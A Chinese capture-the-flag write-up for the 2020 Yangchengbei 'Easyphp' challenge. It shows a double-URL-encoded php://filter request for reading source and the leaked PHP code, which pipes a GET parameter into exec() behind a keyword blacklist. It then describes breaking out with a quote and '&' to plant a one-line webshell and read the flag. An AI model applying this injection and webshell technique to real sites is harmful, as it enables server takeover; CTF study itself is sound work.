羊城杯2020Easyphp

审题

看到url,可以想到伪协议读取

尝试过后可以发现,题目绕过了read后面的编码

我们可以尝试双重urlencode进行绕过

复制代码
?file=php://filter/read=%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35/resource=GWHT.php

解密出来代码为

php+HTML 复制代码
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>count is here</title>

    <style>

        html,
        body {
            overflow: none;
            max-height: 100vh;
        }

    </style>
</head>

<body style="height: 100vh; text-align: center; background-color: green; color: blue; display: flex; flex-direction: column; justify-content: center;">

<center><img src="question.jpg" height="200" width="200" /> </center>

    <?php
    ini_set('max_execution_time', 5);

    if ($_COOKIE['pass'] !== getenv('PASS')) {
        setcookie('pass', 'PASS');
        die('<h2>'.'<hacker>'.'<h2>'.'<br>'.'<h1>'.'404'.'<h1>'.'<br>'.'Sorry, only people from GWHT are allowed to access this website.'.'23333');
    }
    ?>

    <h1>A Counter is here, but it has someting wrong</h1>

    <form>
        <input type="hidden" value="GWHT.php" name="file">
        <textarea style="border-radius: 1rem;" type="text" name="count" rows=10 cols=50></textarea><br />
        <input type="submit">
    </form>

    <?php
    if (isset($_GET["count"])) {
        $count = $_GET["count"];
        if(preg_match('/;|base64|rot13|base32|base16|<\?php|#/i', $count)){
        	die('hacker!');
        }
        echo "<h2>The Count is: " . exec('printf \'' . $count . '\' | wc -c') . "</h2>";
    }
    ?>

</body>

</html>

当然我们现在还不知道要传啥Cookie,我们到robots.txt里面看看

发现有一个文件

同样,我们也可以伪协议进行读取

发现Cookie要为GWHT,其实可以猜到

然后我们可以看到搜索框,

由我们的代码可以知道有绕过

php 复制代码
    <?php
    if (isset($_GET["count"])) {
        $count = $_GET["count"];
        if(preg_match('/;|base64|rot13|base32|base16|<\?php|#/i', $count)){
        	die('hacker!');
        }
        echo "<h2>The Count is: " . exec('printf \'' . $count . '\' | wc -c') . "</h2>";

只不过绕的不太全。

我们可以进行尝试绕过,只要绕过单引号就行,然后使用&字符进行同时执行。其编码为%26.

看到可以返回最后一个文件,所以我们可以注入一句话木马。

将木马传入2.php中配合蚁剑进行查看env得到flag。

相关推荐
harder32120 分钟前
RMP模式的创新突破
开发语言·学习·ios·swift·策略模式
Rust研习社33 分钟前
使用 Axum 构建高性能异步 Web 服务
开发语言·前端·网络·后端·http·rust
灰子学技术37 分钟前
Envoy HTTP 流量层面的 Metric 指标分析
网络·网络协议·http
上海云盾-小余1 小时前
海外恶意 UDP 攻击溯源:分层封禁策略与业务兼容平衡方案
网络·网络协议·udp
智慧光迅AINOPOL1 小时前
校园全光网建设指南:从架构到调优,打造稳定高体验校园网络
网络·全光网解决方案·全光网·酒店全光解决方案·泛住宿全光网解决方案
被摘下的星星1 小时前
Internet 的域名系统:从“名字”到“地址”的翻译官
网络
程序猿乐锅1 小时前
【Tilas|第三篇】多表SQL语句
数据库·经验分享·笔记·学习·mysql
徐某人..2 小时前
基于i.MX6ULL平台的智能网关系统开发
arm开发·c++·单片机·qt·物联网·学习·arm
漠月瑾-西安2 小时前
软件忘了“擦黑板”:一次内核信息泄露事件(CVE-2024-49997)的深度剖析
网络安全·linux内核·内核安全·信息泄露·内存安全·cve漏洞分析
AOwhisky2 小时前
Kubernetes 学习笔记:集群管理、命名空间与 Pod 基础
linux·运维·笔记·学习·云原生·kubernetes